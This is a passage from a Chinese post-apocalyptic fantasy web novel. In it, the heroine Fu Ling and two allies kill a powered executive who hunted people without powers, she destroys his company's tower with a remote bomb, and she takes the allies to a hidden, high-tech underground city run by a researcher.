他咬着牙才让自己没有痛呼出声,跪在地上小心翼翼地伸出头看了一眼关上的门。
沙发牢牢地抵在门上,看上去格外牢固。
他缩回脑袋,神经质般喃喃自语:“进不来的,他们进不来的,这群死人肯定不会攻击这扇门……”
感染者凭借目之所及进行攻击,所以只要自己不被这些感染者发现,他们不会擅自攻击房间大门。
心中不断默念着,但王瞻却依旧觉得不安,不详的预感越来越厚重。
咚——
门口突然传来沉重的撞击声,木头微微断裂的声音响起,伴随着令人恐惧的嘶吼声。
王瞻双腿一软跪在地上,颤抖的手死死抓住身侧的沙发,难以置信地惊叫出声:“怎么可能?!”
他的胸口急促起伏着,看向大门的双目里满是惊恐。
“王总,那个红衣女人又来了。”
他脑中突然想到十分钟前秘书跟他说的这句话,他猛地站起身,手忙脚乱地打开电脑,点进集团周围的监控,嘴里不停地念叨着:“红衣……红衣……”
撞击声还在不断袭来,王瞻面露焦急,不住地往门口看,手指不断点着快进键:“快点,快点啊!”
突然,他不知道看到了什么,整个人猛地僵住,瞳孔骤然收缩,映照着监控里的画面。
集团的创始人在近些天内一个接着一个的失踪,
而在他们中,有一个最强大的人。
那人失踪的那天晚上,天还昏暗着,周围皆是深厚的黑,只有集团里还亮着灯。
一身黑衣的人从集团里面走出,进入的监控视线之内。
就在那人走出集团的下一秒,一条红色的蛇窜上了他的脖子。
不。
王瞻趴在办公桌上,眼睛因为惊恐而微微突出。
那不是一条蛇,而是一把剑!
一把红色的软剑,缠上了那人的脖子。
几乎只用了几毫秒,甚至王瞻都没有看清那把剑的动作,那人的脖子已经被整个切断,掉在地上滚了好几圈,留下几摊血迹。
王瞻捂着嘴呕了一声,还没等他有其他动作,监控中就出现了一道红色的身影。
这道身影太过耀眼太过嚣张,以至于一出现在监控中就瞬间吸引住了王瞻的注意力。
他死死盯着那道缓缓走出阴影的人。
那人缓缓抬头,露出了与今天他在监控里看到的别无二致的脸,带着嗜血而兴奋的笑容。
哐当。
王瞻脱力一般瘫在了办公椅上。
是她!
居然是她!
短短几秒就能砍下集团中最强者的头颅,这个女人的实力绝对超乎他的想象,甚至很可能在他们所有人之上!
即便她只是一个无能力者,她也是无能力者中最强大的一个。
放在以前,这样的人一旦出现在集团周围,前瞻集团高层绝对会在第一时间采取措施。
但可惜,如今的前瞻集团高层只剩下了他一个。
而在秘书跟他汇报的时候他做出了什么应对措施?
他说“不必管她”。
王瞻猛地抱住了自己的脑袋,双眼通红。满脸懊悔。
早知道,早知道他一定不会放任这女人进入集团范围!
监控还在继续。
红衣女一蹦一跳地踹飞停在前方的头颅,像在踢飞一个平平无奇的皮球。
王瞻下意识抬眼,恰好对上了女人看向摄像头的眸子。
她笑嘻嘻地用口型,对着监控说:“下一个,就是你。”
砰!
沉重的大门终于被整个轰开,无数感染者蜂拥而入。
但王瞻却早已无暇顾及,因为在密密麻麻的感染者后方,与监控中一模一样的漂亮脸蛋正笑眯眯地看着她。
如同一尊怎么甩都甩不掉的恶魔。
“啊啊啊!”王瞻崩溃大叫,疯狂向前扔着令人眼花缭乱的道具,道具生效的声音不绝于耳。
祝无忧好奇地扒着伏苓的胳膊:“那是什么?”
程承看了她一眼:“你不知道?”
如果他没记错的话,祝无忧之前给他的药水就是一个道具。
祝无忧摇摇头:“不知道啊,那个药水是我随手捡到的,功效和名字也是星牌自己取的。”
伏苓好奇道:“什么药水?”
祝无忧简单描述了两句,伏苓点点头没多问什么。
程承转头,目光冷冷看着里面混乱的场景和王瞻凄厉的惨叫,心中的郁结之气散去了些,便解释道:“那是道具,雨水落在人身上有一定概率变成异能者,同理,落在物品上也可能让物品拥有一些能力。这种情况不多,只有少数,临安城内——甚至周围几个城市里的道具基本上都被这群人搜刮完了,不知道很正常。”
伏苓抬脚将一旁迷路的感染者踹进办公室,转头问:“那你怎么知道?”
程承看着她的动作木了两秒,说:“我之前被拉去充壮丁,干过这事。”
程承说得简单,但是前瞻集团的德行伏苓清楚,所
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谓搜刮必然不是简单的抢走,更可能是杀人越货。
若是集团里的人稍微有点人性——起码不滥杀无辜,伏苓也不会单枪匹马地揭竿而起,杀到总部来。
里面的声音渐渐平息下来,感染者的尸体铺满了整个办公室,伏苓“哎呀”了一声:“好像还有条狗没死呢,我们进去看看呀。”
伏苓跨过感染者进入办公室,就看见王瞻呆呆地瘫坐在地上,呼吸急促。
见到他们进来,王瞻猛地抬头,猩红的眼里满是愤怒,冰蓝色的异能化作箭矢袭向伏苓,他大吼着:“去死!去死!都怪你,我用掉了积攒的所有道具!你这个疯子!”
王瞻的心在滴血,他疯狂地用尽浑身的力量攻向伏苓,试图拉着她同归于尽。
但很快,他就说不出话了。
因为他看到自己倾尽全力使出的攻击被伏苓轻飘飘地用软剑砍断。
对,砍断。
那把软剑如飞舞的蛟龙,将他所有的攻击在同一时刻对半切开,散落成无用的冰渣掉在地上。
王瞻瞳孔微缩,他惊慌失措地向后挪去,哪怕满地鲜血也无意再去顾及:“怎么可能,怎么可能?!”
伏苓嫌弃地扫了一前满地的血迹,站在唯一那处干净的地方,举着枪对准他,语调俏皮,却如同来自地狱的恶鬼:“你死定咯。”
砰砰砰——
枪声震耳欲聋,王瞻紧紧闭着眼,却没想到直到枪声停止,自己还有意识。
他心中涌上一阵狂喜。
没想到这女人看着吓人,实际上根本没胆子杀自己,说不定还是有求于他,所以才开枪吓唬吓唬好让自己答应她的要求……
还没想出所以然来,王瞻的四肢隐隐约约传来撕裂的痛感。
他有些愣怔地睁开眼睛,看见能量枪的每一发都精准无比地钉在他的四肢上。
身体的保护机制再也无法阻挡彻骨的痛感,他发出了尖锐的惨叫声:“啊!你怎么敢的?你怎么敢……”
因为剧烈的疼痛,他根本无法说出准确的音调,每一句话都含含糊糊。
伏苓不在意他说了什么,趁这人还没叫几声便将一旁的抹布塞进他嘴里,笑嘻嘻地说:“骗你的啦,怎么可能让你这么容易就死掉呢?”
她扫了一眼身后站着的祝无忧和程承,让开了些许:“你们谁要来呀?”
方才她可是清晰地看到了这两人眼里藏都藏不住的恨意。
猜也能猜到,程承和祝无忧多半是被前瞻集团杀掉亲人朋友才抢过来的异能者中的一员。
祝无忧沉默了许久,才摇摇头:“我就算了。”
她的父母是被雨水淋到变成了感染者,对前瞻集团的恨来自于他们当着她的面杀死了自己的父母。
但其实多年来,她也意识到,自己的父母变成感染者后多半就回不来了,她异能太弱,根本没办法保护父母,他们被杀也是迟早的事情。
相对来说,祝无忧只是厌恶王瞻这人极端的做法。再者,她也没有折磨人的爱好,能让他死便已是极好的了。
伏苓惋惜地“啊”了一声:“好吧好吧。”
她又看向程承:“你要来吗?”
程承的目光缓缓移到了王瞻身上。
王瞻终于清醒了一点,他睁开一条缝,却倏地对上了程承黑漆漆的眸子。
那日血流成河的场景如电影般浮现在他脑子里,他僵在原地。
“程、程承?”意识到这人是谁后,他连疼都顾不上了,疯狂地摇头,在地上蠕动着向后爬去,“你……你不要过来!”
5. 无异能者的噩梦集团05
伏苓见状笑得更开心了。
她一脚踩在王瞻的手上,脚下的人顿时发出了凄厉的惨叫。
她看向程承,每一个字都带上了波浪号:“说话呀,亲爱的。”
程承沉默几秒,声音轻轻:“我来。”
闻言,伏苓也乐得清闲,笑着放开手上的人。
王瞻身下满是鲜血,四肢因为失血过多而毫无知觉,但他依旧满目惊恐地朝后挪去:“不要过来!程承,你想清楚,如果你不进集团根本活不下去!难道要守着那几个毫无能力的人活活耗死在外面吗?”
“闭嘴。”程承看着他狼狈的样子,心中多了几分痛快,他面无表情,一步一步地朝着王瞻走去:“这一切都是你们道貌岸然的借口罢了,少在这跟我说什么大道理。”
他毫不在意地踩上地上的血液,猩红弄脏了他的军靴。
他在王瞻面前蹲下,声音低沉,似是在自言自语:“早在杀了我的家人的时候,你就该预料到有这一天。”
他勾起唇角,沉寂半晌的血兔再次凝聚在他身后,血红色的眸子死死盯着王瞻,兔唇诡异张大,发出嘶哑的尖叫,红雾凝结而成的身体因为疯狂的大笑而颤抖。
伏苓抱着臂,饶有兴致地看着程承发动异能的样子。
这异能疯癫的样子,都快赶上自己了。真不知道他这异能到底是什么东西。
红雾缠绕上王瞻的脖颈,程承的声音比以往的任何一天都要冷静:“你不是最喜欢杀无能力者了吗?临安多少人死在你这个错桑的手里,你心里不清楚吗?”
王瞻双目充血,因为窒息发出了吭哧吭哧的求饶声:“别……杀……”
程承笑了一声:“八年来,有很多人这么跟你求过饶吧?你放过他们了吗?”
他闭上眼睛,红雾猛地收紧。
再起身的时候,王瞻已经没有了呼吸。
伏苓坐在沙发上尚且干净的地方,对他干脆利落的动作感到遗憾:“这种人就该虐杀啊,你又不是不知道他虐杀过多少无能力者。”
尝到权力甜头的人,就会高高在上地滥用自己的权力。而像王瞻这种人,强也强不到顶,弱也算不上弱,所以只能通过虐杀实力弱小的无能力者,来满足自己的欲望。
伏苓早就想弄死他了。
但她也没有越俎代庖多说什么,只是托着腮问他:“还没问你,集团里的异能者怎么会打不过这些普通的感染者呢?”
前瞻集团之所以强大,是因为集团里的异能者相对于其他人来说要更强大一些,更别说集团里聚集着那么多异能者。
按道理来说,大量感染者侵入或许能砍集团一臂,但做不到像今天这般堪称团灭的结果。
程承拿起一旁的干净手帕擦了擦手,等指尖沾上的血迹被擦干净,他才缓缓道:“这个有点复杂,之后我慢慢解释。”
他顿了一下,继续补充:“反正,只有那些参与过虐杀无能力者的人才会死在这里。”
若是他也滥杀无辜,那跟王瞻有什么区别?
伏苓得到满意的答案,起身道:“那就走吧。”
三人扫了一遍楼,确定没漏下什么人后才地出了集团。
外面的街道破破烂烂的,高楼早已破碎不堪,周围一片废墟,有几个临时搭建的房子也倒塌了一半。
这些伏苓都已经见怪不怪。如今前瞻集团基本上被她毁了,集团名册上的强大异能者也都被她一一解决,就算还有漏网之鱼,也掀不起什么大的风浪。
她随意地挥了挥手跟两人告别,准备离开。
却没想,她都走出好一段路了,身后的两人还是一言不发地跟在自己身后,跟背后灵一样。
她停下脚步,沉默了两秒:“你们跟着我干什么?”
祝无忧支支吾吾道:“那个,我们平时都住在集团里,现在集团没了,就没地方去了。”
为了高度控制集团旗下的异能者,所有人都只能住在集团内部。外界的住所一旦被发现,会被他们毫不留情地捣毁。
若是发现那住所周围还有跟异能者交流密切的人,高层还会将这些人都处理掉,以保证异能者不被他们牵扯,可谓阴险至极。
伏苓瘪瘪嘴,祝无忧这样老实的孩子不敢偷偷建个庇护所就算了,她可不相信程承也没有。
似乎是猜到她在想什么,程承抿了抿唇:“我在外面确实有住所,平时都是我一个人。”
他顿了顿,似乎有些难以启齿:“但是,我想跟你交个朋友,或许我可以帮到你?”
伏苓微微挑眉,目光落在了他莫名其妙开始微微泛红的耳尖上。
祝无忧瞪大眼睛看了程承一眼,小声骂了一句“卑鄙老贼”,然后飞快转过来拉住伏苓:“我也要跟你交朋友!”
伏苓:“……?”
她突然想到什么,点头道:“行吧。”
“哦,差点忘了。”伏苓从上衣口袋里掏出一个遥控器,对着前瞻集团的大楼比了个手势:“再见咯。”
遥控器上的按钮被毫不犹豫地摁下,下一秒,集团内发出震耳欲聋的爆炸声。
刺耳的轰鸣声中,高耸入云的前瞻集团如同被巨人的力量撕裂,向着天空喷发出一团巨大的火球。随着爆炸的蔓延,高楼的混凝土结构被炸成碎片,钢筋飞舞着向四面八方洒落。厚重的浓烟翻滚而上,将周围的天空笼罩在一片黑暗之中。
凌驾于临安城八年的巨型集团终于在这一刻轰然倒塌。
程承安静地看着那边的火光:“这下是真的没地方去了。”
伏苓看了他一眼,男生漂亮的眼睛如清澈的深潭,睫毛根根分明。
她轻眨眼睛,随手将遥控器扔在一边:“那就跟我走吧。”
祝无忧立马高兴了,她挽住伏苓的胳膊:“好啊好啊。”
伏苓带着两人左拐右转,穿过了高耸入云的大楼进了一个小巷子。
在高楼大厦的阴影下,这条小巷子显得格外不起眼。
它藏匿在楼宇的角落,巷子的尽头是一间破败的小屋,从外部看去,木质结构已经腐朽,屋顶上覆盖着厚厚的苔藓,墙壁斑驳,门窗破烂,似乎已经多年无人居住。
伏苓熟练推开那道吱呀作响的木门,透过破碎的窗户,微弱的阳光洒进来,勉强照亮了昏暗的室内,屋内弥漫着尘土和潮湿的气息。
临安城在末世前也算是全国数一数二的城市,高楼大厦鳞次栉比,破败成这样的小屋屈指可数,就像是上个世纪的产物。
祝无忧“额”了一声,小心询问:“伏苓姐,你住这啊?”
她倒也不是嫌弃,只是这地方到处是灰,看上去不像有住人的样子。
而且……她偷看了一眼伏苓,觉得伏苓看上去也不像是住在这里的人。
伏苓没有回答,她伸手在满是尘土的墙壁上轻轻一推,一个虹膜扫描装置骤然出现,蓝光迅速扫过伏苓的面庞。
眨眼间,本来破破烂烂的土墙无声地向后移动了些许,从中间割分开来,露出了一个向下的狭窄楼梯。
祝无忧捂住嘴:“我去,这啥呀?”
跟科幻小说似的。
伏苓迈步向下走去:“我住的地方啊,跟紧咯,不然小心被——”
她看向祝无忧,比了个“砰”的动作,然后笑嘻嘻地接上了上一句话:“咯~”
祝无忧立马跳到了她身边,小心翼翼地扯出她的衣袖,颤
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颤巍巍道:“这这这么严重吗?”
楼梯两侧贴着用来照明的灯带,光不算亮,但也能让人看清道路。
墙壁上贴着高分子隔音板,看上去是个安全屋。
程承小心观察了一下情况,跟着前面两人缓缓往下走,走到中间的时候,他甚至看到了几个隐藏着的自动射击枪。
他往后看了一眼,那道门已经悄无声息地关上了,而一向警觉的自己甚至没有意识到它什么时候关上的。
他没忍住问道:“伏苓,这里是?”
伏苓没说话,站定在楼梯尽头的墙壁面前。红光扫过,机械女声骤然响起:
“伏苓女士,欢迎回到无能力者之家。”
祝无忧当即捧场,异常真诚:“好名字。”
伏苓勾唇:“当然,我起的。”
程承木着脸,嘴角抽了抽。
墙壁缓缓从一侧打开,熙熙攘攘的声音如潮水般涌来。祝无忧好奇地凑上去。
只见眼前高高低低的房屋堆积在一起,但却没有显得毫无秩序,中间夹着的道路纵横交错,宛如迷宫般令人眼花缭乱。建筑密布其中,在天花板的人造光源下反射着柔和的光芒。
天花板上不知是什么高科技装置,将天花板变成了与外面的天空别无二致的模样,蓝天、白云、飞翔的麻雀一个不落,丝毫不会让人感到压抑。细看去,远处的空中还有几个跌跌撞撞的飞行器正绕着圈。
男女老少笑呵呵地走在路上,孩童成群奔跑,笑声穿到几人的耳中。
这里俨然是一处科技极其发达的地下之城模样。
祝无忧呆呆道:“我去……”
正中心的天花板上垂下一只约莫有十人环抱大的机械眼睛,它扫向三人,眨了眨。
随后,略显疲惫的男声在三人附近响起:“伏苓,这是你的朋友?”
伏苓随意“嗯”了一声。
祝无忧小幅度地跳了一下,左看右看,往伏苓身边缩了缩。
那道男声笑了一下,提醒:“我在你左边的隐藏式喇叭里,小姑娘。”
祝无忧指着墙壁上被蜡笔画得五颜六色的凸起:“这个?”
男声笑道:“是的,真聪明。”
他顿了顿:“伏苓,带着你们小伙伴们进来吧。”
伏苓应了一声,带着两人向内里走去。
她走在前面,解释道:“跟上哦,要先登记一下,不然进出的时候会被打成蜂窝的。”
程承想到了方才的那些扫射枪,抿了抿唇。
两人跟着伏苓向前走去,几个孩子突然扑了上来,抱住了伏苓的腰。
程承的目光从他们身上依次扫过,没有感受到任何异能的存在,这群孩子也是无能力者。
所以,这里聚集的居然真的都是无能力者?
程承有些匪夷所思。
这么数量庞大的无能力者,居然能在前瞻集团的追捕下创造出这样一个小型城市,靠的是什么?
为首的孩子名为小欢,他笑眯眯地问道:“伏苓姐姐,我们在你枪上画的画还在吗?”
程承恍然,原来那些画是这几个孩子画的。
他当时也注意到了那把枪上五颜六色的简笔画,伏苓当时整个人都阴晴不定,给他的印象也极为跳脱。
他虽心有疑惑,但也一直以为那些画都是她画的。
如今想想,伏苓即便看上去嚣张狡黠,但似乎不太有兴趣去在枪上画一些幼稚的水彩画。
伏苓粗鲁地揉了揉为首的小男孩的脑袋,笑着说:“当然还在,我可是很小心的。”
说这话的时候,她突然褪去了之前在前瞻集团的疯癫样子,莫名变得有些接地气。
6. 无异能者的噩梦集团06
伏苓没聊两句就将这几个孩子给哄走了。
她带着两人来到中心的一处白色小屋里,门口漂浮着一个机器人,见到伏苓有条不紊地将门打开。
哪怕走到这里见到了不少技术产物,祝无忧还是有些惊奇。
虽然灾难发生前,世界科技确实发展得不错,但是这几年下来基本上都被糟蹋得差不多了,没想到这个地方居然还保存着这么多高科技产物,甚至相比于之前,科技还增长了一点。
是有什么世外高人在这里研究科技吗?
屋内悬空挂着数十台数据屏,正中间的椅子上坐着一个带着无边框眼镜的男子,他衣着随意,看着却很干净。一双桃花眼中带着些许萎靡,明明眉眼温柔,却莫名给人一种半死不活的感觉。
见到三人进来,他旋转椅身面对他们,点头说道:“回来了?”
他看了一眼伏苓身后的两人,微笑:“你们好,我是方休。”
两人也挨个报了自己的名字。
伏苓直接找了个座位坐下,神色散漫:“方医生,他们没地方去了”
方休扫了两人一眼,又坐了回去。指尖在屏幕上轻点两下,扫描的红光飞速掠过他们的身体。他身后的数据屏飞速跳动着乱七八糟的数字,然后显露出两人的信息。
程承皱了皱眉。
数据屏上显示的都是一些基本信息,没有过多暴露个人隐私,但他还是觉得有点不舒服。
这感觉就像,这群地下组织时时刻刻都在暗处关注每一个人一样。
“不好意思。”方休看向他,似乎是察觉到了他的想法,目光中带上了些许歉意,“进入地下之城的人我们还是需要了解一下基本信息的,冒犯了。”
他这话说的时机恰好,让程承刚冒出头的不舒服在顷刻间消散。
其实也可以理解,毕竟这八年来临安城内一片狼藉,前瞻集团恶意追杀无能力者,甚至以虐杀无能力者为乐趣。伏苓他们一群待宰的羔羊聚集在一起,谨慎一些也是应该的。
程承摇了摇头:“没关系。”
方休微笑着朝他点点头啊:“那么,欢迎加入地下之城。”
伏苓点了点桌子,不满:“什么意思?我起的名字不好听吗?”
方休笑了一下,不置可否。
程承沉默了一瞬,没继续这个话题,他问道:“方医生是异能者吗?”
这间屋子里不知装了什么装置,让他感受不到异能的存在。
方才扫描的红光太过迅速,他甚至都没有察觉,自己的信息就已经被收集了。这样的情况让他不得不认为眼前的人是一位异能者。
方休像是知道他在想什么,摇了摇头:“很遗憾,我并不是。灾难发生之前,我是一名研究员,方才扫描你们的仪器,也只是我造出来的产物罢了。”
祝无忧好奇:“既然你是研究员,那为什么叫你方医生?”
伏苓解释:“因为这里没有医生,他恰好又会一点医术,住在这里的人也觉得喊‘方研究员’太奇怪了,所以都喜欢喊他方医生,时间长了,我们也就都这么喊了。”
祝无忧乖乖点头,又问:“那现在我们是不是就可以随意活动了?”
伏苓:“对哦,你们可以去外面转一转。”
闻言,祝无忧早就等不住了,伏苓话音刚落她便蹦着出了门。
程承看了伏苓一眼,她靠在椅背上,明显是有话要和方休说,他抿了抿唇,转身离开。
等两人离开,门口的机器人扫描周围没有发现可疑人员,才将门关上。方休看向她:“怎么样?我给你的炸弹好用吗?”
伏苓转着椅子,发尾随着她的动作荡漾起来,她笑得开心极了:“那可太好用了。”
远程遥控,杀伤力惊人,确实极为好用。
方休敲了一下键盘,又将祝无忧和程承的信息调出来,这一次的信息相比刚刚在两人面前显示出来的要详细一些,将他们在前瞻集团的行动也列举了出来。
他的系统早就侵入前瞻集团的内部系统,可以不费吹灰之力地拿到集团所有人的信息,只不过他确实不怎么会关注没有踏入过地下之城的人的信息,这一点他没有骗程承。
“这两人没什么问题,都是临安本地人,手上没沾过无辜人的鲜血,留下来没问题。”方休说。
伏苓点了点头,她虽然与两人相处时间不长,但已经将他们的性格品行摸得差不多了,不然也不可能带他们到这里来。
方休笑了一下,转身劈里啪啦地将一堆数据调了出来:“我已经确定了你父母的位置,在肃州,这场灾难很可能跟他们所研究的项目有关。”
伏苓的父母自她年幼时就进行封闭实验。她父亲伏怀倒是时不时会回来,母亲沈文乔却是自她记事起便再也没有见过,但灾难发生前夕,两人立马没了消息,怎么都联系不上。
她不太清楚他们俩在做什么研究,只知道保密性极高,所以也从未去过问。
方休之前便是那个研究所的,但是因为身体原因,很久之前就辞职了。伏苓原以为他辞职后就不再关注研究所的事了,没想到他对研究所研究的东西依旧很是在意。
伏苓转着手里的杯子,茶水漾起波澜。
她没耐心看那些令人头疼的数据,只道:“那看来我确实得去一趟。”
灾难发生了八年,算起来,她与父母已经有数十年没有见过。虽说自己对他们没什么留念,但那毕竟是自己的爸爸妈妈,如今生死不明,再加上这场灾难的源头又很可能就起源于那边。
不管是出于亲情,还是出于好奇,又或者是一些诡异的救世感作祟,她都想去探一探。
但更主要的是,她不想就这么不明不白地这样死在这里。
方休叹了口气:“怎么?这次又是你的直觉?”
伏苓的直觉异常准确,她一向很相信自己的直觉,这一次也是。
她笑着点点头:“对。而且,我觉得再这样下去,迟早得疯。”
她,或者说,很大一部分还活着的人都可能疯掉。
如今的生活太黑暗太压抑了,所有人都要提心吊胆地去活每一天。
伏苓非常讨厌现在这样的生活。就算他们现在有一个栖身之所,她也觉得自己是被束缚被压着的。
方休也没说什么,只是问道:“想好什么时候走了吗?”
本来伏苓是想着把前瞻集团解决后就直接走的,没想到遇到了程承和祝无忧。
她不是什么圣人,收留他们更多是因为她离开后,地下之城需要一个强有力的守护者。
不过,临安城也没什么威胁了。
——她已经将所有的危险都处理干净,除了偶尔还会游荡的感染者。
那些感染者对于地下的这些拥有高科技的百姓来说,应该不足为惧,所以将两人带进来更多是庇护的意思。
她想了想,说:“就这几天吧。”
方休笑笑:“行。你们的第一站应该会是集庆,那里是军区所在,是如今国家的中枢机构。如果可以的话,希望你能帮我跟他们搭上关系。”
伏苓微微蹙眉:“军区?你为什么要跟他们合作?”
方休神色意味深长,却没有多说什么,只是道:“军区自然他自己的情报链,我也希望多了解一下如今的情况,两两合作,才是人类该有的面对灾难的态度。”
“奇奇怪怪的,八年了才想起来合作是不是太晚了?”伏苓毫不客气地揭穿他。
方休又笑,却只是在笑,没有解释。
“行吧。”伏苓站起身朝外走去,“我会的。”
……
一缕阳光穿过顶上的下水道口,从缝隙中照在一片小型花圃之上。
粉色白色的小花晃了晃身子,微微挺拔。
祝无忧蹲在花圃旁边,面露惊奇:“我都八年没见到花了!”
她兴冲冲地拉住一个小孩:“你知道这是什么花吗?”
“姐姐连这个都不知道呀,这是秋英啊。”小孩毫不客气地嘲笑她。
祝无忧气鼓鼓:“我哪里分得清那么多花,我看这个分明长得像朵菊花!”
闻言,小朋友笑得更欢了,一旁又凑过来一个小女孩,笑眯眯地回答:“姐姐,秋英就是菊花的一种啦,它又叫波斯菊,是生命力很顽强的一种菊花哦
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!”
“哦……”祝无忧尴尬地挠挠头。
小女孩也学着她蹲在花圃旁边,像个小大人一样解释道:“妈妈说,秋英的寓意是美好的未来,婶婶们种秋英,就是希望之后我们能回到以前和平宁静的生活,寄托了我们美好的愿望。”
她摇头晃脑,似乎是在模仿谁吟诗颂词。
被小女孩稚嫩的声音吸引,程承将目光从小白屋上收回来。
他身边坐着一个孩子的家长,此时正笑呵呵地看着玩闹的小朋友。
程承静静地看了一会被那缕仿佛一掐就会消失的阳光照耀着的秋英,微微侧头,不经意地说:“这边看上去可比外面好多了。”
男人看了他一眼,笑容淳朴:“是啊,多亏了方医生和小苓,拉着我们将地下之城建立起来,不然我们这些别人眼中的废物怎么能活到今天?”
程承跟着笑了两声,半空中的飞行器还在跌跌撞撞地飞着,他打探道:“这些无人机都是方医生做出来的?”
“对啊,这些飞行器上装着一些屏蔽装置,能短暂地屏蔽异能的影响。我跟你说啊,方医生可厉害了,雨灾之前可是顶尖大学的高材生,后来还进了国家级的项目。”说到这里,男人叹了口气,惋惜道:“可惜就是身体不好中途推出了,不然以他的才华,怎么可能在这里蹉跎一辈子?”
屏蔽异能?
程承微微一顿,好奇道:“什么东西能屏蔽异能啊,是跟他们研究的内容有关吗?”
男人一拍大腿:“这些东西哪是我能了解到的?他说了我也听不懂啊!”
“我听说方医生会医术,你说他那项目是不是可能跟医学有关?”程承继续套话。
男人摸摸下巴:“有可能啊,诶,你知道伏苓吧?她父母就是从事生物研究的,之前方医生跟他们还在一个研究所待过,说不定就有关系——不过生物研究跟医学好像差得还挺远的。”
生物研究?
程承皱了皱眉。
恍惚间,一股淡香自远及近,如藤蔓般缠上他的鼻尖。
“趁我不在偷偷探人口风啊?”带着调笑的声音在他耳侧响起,说话间,呼吸轻轻喷洒在他耳尖。
程承心脏一缩,下意识躲了一下,侧头对上了伏苓近在咫尺的眸子。
两人靠得很近,程承坐在椅子上,伏苓站在他身后微微弯腰,唇瓣几乎都快碰到他的鼻尖,挑染的发尾从她肩膀垂下,悬在他的手背上,痒痒的。
“好不道德啊。”伏苓皱了皱眉,轻飘飘地谴责他:“再这样不听话的话,我可要惩罚你咯。”
她尾音上扬,像一只钩子勾住了程承的心脏,吊起又落下。
他心虚地眨了眨眼睛:“没有……就是聊一聊。”
伏苓扶着椅背转到前面,坐在他身侧翘起二郎腿,挑着眉看他:“好厉害呢,才几分钟就聊到我的父母了。”
程承看着她,不知为何突然笑了一下,认错道:“我错了。”
虽然说着谴责的话,但伏苓的语气却与初次见面时截然不同,那是她是真想杀他,而现在只是口头警告,或者说,是朋友之间的友情提醒。
与她站在对立面很难熬,但若是她将自己纳入己方阵营,程承却觉得她说的话做的事格外……可爱。
程承被自己的想法震惊了一下。
他小心翼翼地看了伏苓一眼,她翘起的小腿一晃一晃,胳膊搁在膝盖上,托着腮看面前的小孩玩闹。
第一次见她只觉得忌惮,怎么也不会将一个战斗疯子跟“可爱”这个词挂上钩。但此刻,孩童绕膝而行,笑语声从周边传来,一切都显得格外温馨,竟让他觉得,这个词也未必不能用在她身上。
“看什么呢?”程承猛地回神,撞进了伏苓散漫的眸中,才惊觉自己已经盯着人家看了很长时间了。
他有些尴尬地收回目光,小声说了句:“抱歉。”
看人家看出神什么的,实在是太不礼貌了。
他想了想,正色道:“之前说要跟你解释前瞻集团异能者的事情,我们找个人少的地方?”
伏苓“哦”了一声,站起身来:“那你来我这边吧。”
7. 无异能者的噩梦集团07
各种各样的房子堆在一起,像搭建在一起的积木世界,紧密相依,但并不拥挤。
伏苓熟练地顺着狭窄的街道左拐右拐,来到了一处小房子前。房子上方盘旋着初进入地下之城时看到的巨大眼球,它转过来看了他们两眼,又眨着眼睛巡查别处。
地下之城发生的一切恐怕都逃不过这颗眼球的监视,方才程承与住民的聊天估计早就被它听了去。没有阻止他的套话多半是因为方休觉得他知道这些信息也没什么。
程承摸了摸耳垂,有些不好意思。
伏苓推开木门,示意程承跟上。
房子不大,但也布置得温馨。入眼是一个小客厅,摆着柔软的沙发和茶几,中间只用纱帘隔开,影影绰绰地瞧见纱帘那边是个小卧室。
伏苓示意他去一边的沙发上坐,自己走到一边拎起茶壶。
程承看着屋内的布置,不免有些好奇:“你们到底是怎么背着前瞻集团的人创造出这么庞大的城市的?”
伏苓把玻璃杯放在他面前,轻描淡写道:“一点点建成的,都已经八年了呀。”
她看着也才不过二十岁,八年的时间,她通通都参与吗?
就程承在附近转的那一圈能看出来,地下之城里没什么能人义士,只有伏苓和方休挡在前面,而方休又只是一个文弱分子,其余人都是毫无攻击能力的无能力者。
顶多他们手里的高科技或许能够发挥出一些作用,但怎么看都不是能担大任的模样。
若没有其余强者在保护他们的时候牺牲,那么这八年来,只有伏苓一个人保护身后的一行无能力者,还能匀出精力来建造地下之城。
程承不免又高看了她几分。
伏苓靠在沙发上没说话,像是在想什么,又好像只是在发呆。
程承捧着玻璃杯看她,突然问道:“你杀感染者的时候跟平常的样子很不同。”
起码她现在安安静静坐在这里,长发散落在肩,睫毛轻垂,漂亮得像个易碎的洋娃娃。
如果程承先是看到她现在的状态,恐怕怎么也想象不到伏苓杀人是什么模样。
伏苓笑了一下,耸耸肩:“很多人都这么说。可能是被这场灾害给逼疯了吧?我也不知道。”
她不太喜欢别人探查自己的内心,没有过多纠结这个话题,问道:“不是要说异能者的事吗?”
程承这才回过神来,他沉吟片刻,缓缓道:“这件事情可能要从我被前瞻集团抓走说起。”
事情很长,他说的很慢。
当年,程承是家里唯一的异能者。
他的异能非常强大,强大到才十几岁就已经展露出了惊人的杀伤力。
前瞻集团自然不会放过这样优秀的好苗子。为了抢到程承,他们不惜一一将他的父母和哥哥尽数杀害,强行带走了年幼的程承。
当年去他家的人就是王瞻。
程承永远都不会忘记那一天。
一直疼爱自己的父母和哥哥的血流了满地,直到临死前的最后一刻,哥哥还死死地抱着自己,拼尽全力把自己推出门外。
哥哥绝望的喊声都带着明显的血腥味。他说:“程承,快跑!”
被带回前瞻集团后,集团的人对程承用了很多道具,想让他像其他人一样忘记之前的事情。
但不知为何,程承一点都没有忘。
可能是那样的记忆太过血腥和深刻,也可能是因为他的异能太特殊、太强大了。
总之那天的场景一直都浮现在他的眼前,怎么折腾都忘不掉。
为了避免再生事端,程承便始终在前瞻集团面前表现出什么都不记得的样子。
他自然是恨前瞻集团的。从集团里醒来的那一瞬间,他就下定决心要杀了他们所有人。
他知道自己的异能非常特殊,那是一只寄居在血液里的兔子。
它好像无所不能,所以程承将自己的血液稀释,散落在集团每一个人的饭菜中。
只要手染无辜者鲜血的人,身体里会一直留存着他的血液,从而吸引感染者。
没有做过那些事情的人,那些血液就会消失。
通过这个方法,他完全可以分辨出到底谁该杀,谁不该杀。
当时祝无忧以为只是因为自己发了善心帮过他,程承才没有杀她,但其实是因为程承知道祝无忧没有做过那些事情。
否则,哪怕祝无忧真的救了他的性命,程承也不会仁慈。
伏苓陷进沙发里,若有所思地看着程承。
他的异能听上去,似乎与其他所有人的异能都不一样。
普通的异能只会涵盖天地万物中的某一方面,比如能控水就无法控火,拥有时间系的异能就不可能再拥有空间系。
但程承的异能却不一样,虽然从表面上来看,他的异能只是单纯的控血,但细想会发现,他的血能做到很多不该是这个异能能做到的事情,就比如短暂操控感染者,亦或是根据自己的想法控制血液的消失和存在。
